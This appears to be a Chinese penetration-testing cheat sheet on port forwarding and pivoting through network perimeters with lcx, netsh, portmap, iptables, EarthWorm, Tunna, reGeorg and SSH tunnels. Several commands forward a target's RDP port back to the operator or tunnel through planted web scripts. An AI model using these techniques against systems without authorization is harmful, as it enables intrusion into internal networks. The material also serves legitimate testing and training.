端口转发&&边界代理

此类工具很多,测试一两个经典的。

端口转发 1、windows lcx
  1. 监听1234端口,转发数据到2333端口
  2. 本地:lcx.exe -listen 1234 2333
  3. 将目标的3389转发到本地的1234端口
  4. 远程:lcx.exe -slave ip 1234 127.0.0.1 3389

netsh 只支持tcp协议

  1. 添加转发规则
  2. netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
  3. 此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389
  4. 删除转发规则
  5. netsh interface portproxy delete v4tov4 listenport=9090
  6. 查看现有规则
  7. netsh interface portproxy show all
  8. xp需要安装ipv6
  9. netsh interface ipv6 install

端口转发&&边界代理 - 图1

更加详细参考:http://aofengblog.blog.163.com/blog/static/631702120148573851740/

2、linux portmap 端口转发&&边界代理 - 图2

  1. 监听1234端口,转发数据到2333端口
  2. 本地:./portmap -m 2 -p1 1234 -p2 2333
  3. 将目标的3389转发到本地的1234端口
  4. ./portmap -m 1 -p1 3389 -h2 ip -p2 1234

iptables

  1. 1、编辑配置文件/etc/sysctl.confnet.ipv4.ip_forward = 1
  2. 2、关闭服务
  3. service iptables stop
  4. 3、配置规则
  5. 需要访问的内网地址:192.168.206.101
  6. 内网边界web服务器:192.168.206.129
  7. iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
  8. iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
  9. 4、保存&&重启服务
  10. service iptables save && service iptables start
socket代理 xsocks

1、windows 端口转发&&边界代理 - 图3

进行代理后,在windows下推荐使用Proxifier进行socket连接,规则自己定义 端口转发&&边界代理 - 图4

2、linux 进行代理后,推荐使用proxychains进行socket连接 kali下的配置文件: /etc/proxychains.conf 添加一条:socks5 127.0.0.1 8888

然后在命令前加proxychains就进行了代理 端口转发&&边界代理 - 图5

神器推荐

http://rootkiter.com/EarthWorm/ 跨平台+端口转发+socket代理结合体!darksn0w师傅的推荐。 ew_port_socket.zip

基于http的转发与socket代理(低权限下的渗透)

如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行 1、端口转发 tunna

  1. >端口转发(将远程3389转发到本地1234)
  2. >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
  3. >
  4. >连接不能中断服务(比如ssh)
  5. >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
  6. >
  7. >转发192.168.0.23389到本地
  8. >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389

具体参考:http://drops.wooyun.org/tools/650

2、socks代理 reGeorg

  1. python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081

端口转发&&边界代理 - 图6

ssh通道

http://staff.washington.edu/corey/fw/ssh-port-forwarding.html

1、端口转发

  1. 本地访问127.0.0.1:port1就是host:port2(用的更多)
  2. ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
  3. 访问host:port2就是访问127.0.0.1:port1
  4. ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
  5. 可以将dmz_hosthostport端口通过remote_ip转发到本地的port端口
  6. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
  7. 可以将dmz_hosthostport端口转发到remote_ipport端口
  8. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类

2、socks

  1. socket代理:
  2. ssh -qTfnN -D port remotehost

端口转发&&边界代理 - 图7

参考redrain大牛的文章:http://drops.wooyun.org/tips/5234